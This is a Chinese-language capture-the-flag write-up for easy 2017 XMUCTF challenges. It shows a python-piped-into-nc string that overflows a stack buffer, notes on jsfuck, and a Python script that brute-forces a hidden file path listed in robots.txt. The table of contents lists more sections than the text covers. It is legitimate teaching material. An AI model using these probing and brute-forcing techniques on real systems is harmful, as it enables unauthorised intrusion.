【wp】2017XMUCTF水题解答
|-----@PWN
|----------@under
|----------@Welcome flag0
|-----@WEB
|----------@Source Code
|----------@JS.RAR
|----------@Web机器人
|----------@Easy injection
|----------@Login
|-----@MISC
|----------@0w0
|----------@tail
|----------@WordSecret
|----------@keyborad
|-----@CRYPTO
|----------@颠倒
|----------@chaos
|----------@贝斯家族
|----------@morse
|----------@这都什么鬼
|----------@DECrypt
声明:因为水平有限,只能做做水题这样子。如有谬误,欢迎指出。如有它解,敬请留言。
PWN
under
```shell python -c "print 'a'*31" | nc pwnbox.target.com 17240 #在Linux终端执行以上代码 #python -c cmd : program passed in as string #即用来方便地执行仅有一个字符串的python程序 #'|'为重定向运算符,将其前面的运算结果作为其后面运算的输入 #nc — arbitrary TCP and UDP connections and listens #The nc (or netcat) utility is used for just about anything under the sun involving TCP, UDP, or UNIX-domain sockets. #pwn题大多用nc连接运行有漏洞服务并开启nc监听的远程机器,并传输数据。本题连接的是域名为pwnbox.target.com的主机的17240端口。 #以上命令意为用python生成长度为31的由'a'组成的字符串,然后用nc连接并发送该字符串到pwnbox.target.com的17240端口。 ``` 超过30个字符都可以Welcome flag0
```shell $ python -c "print 'a'*40" | nc pwnbox.target.com 17012 Welcome to XMU CTF! What's your name? Hello! aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa! Goodbye~ Stack smashed? ``` 字符串较长时提示`Stack smashed`,较少时则不会,可折半查找。长度为37,38,或39时可得到flag。WEB
Source Code
右键查看源代码,大家都做出来了。JS.RAR
文件无法解压,看看它到底是什么 ```shell $ file js.rar js.rar: ASCII text, with very long lines, with no line terminators ``` 发现并它不是rar文件,只是个字符串。用notepad++打开发现是jsf*ck的代码,放到chrome的console里运行,弹出flag。Web机器人
根据提示访问http://targetDomain:25070/robots.txt 看到如下内容: > User-agent: * Disallow: /where_?s_f??g.txt Disallow: /lower_case_0r_Number Disallow: /tips:python requests容易明白是要爆出三个问号所代表的字符,并且该字符是[0-9a-z]。显然最后应该是类似/where_is_flag.txt
的东西,以下是python脚本:
import requests
import time
#where_1s_fl4g.txt
def trytry():
pool='0123456789abcdefghijklmnopqrstuvwxyz'
#pool='014lai'
n=0
jindu=''
total=float(36**3)
for x1 in pool:
for x2 in pool:
for x3 in pool:
url='http://targetDomain:25070/where_'+x1+'s_f'+x2+x3+'g.txt'
n+=1
jindu+='#'
if(n%80==0):
print jindu+str(n/total*100)+'%'
jindu=''
try:
r=requests.get(url)
if r.status_code==200:
print url,"succeed"
return 0
except Exception as e:
print url,"something wrong"
if __name__ == '__main__':
trytry()
这个脚本是很慢的,换道题可能啥也跑不出来。所幸只要不把小写字母放前面的话这道题可以很快跑出来。其他方法的话可以用多线程实现,也可以用burp爆破,或者如果你很机智,可以用脚本里注释部分的pool:)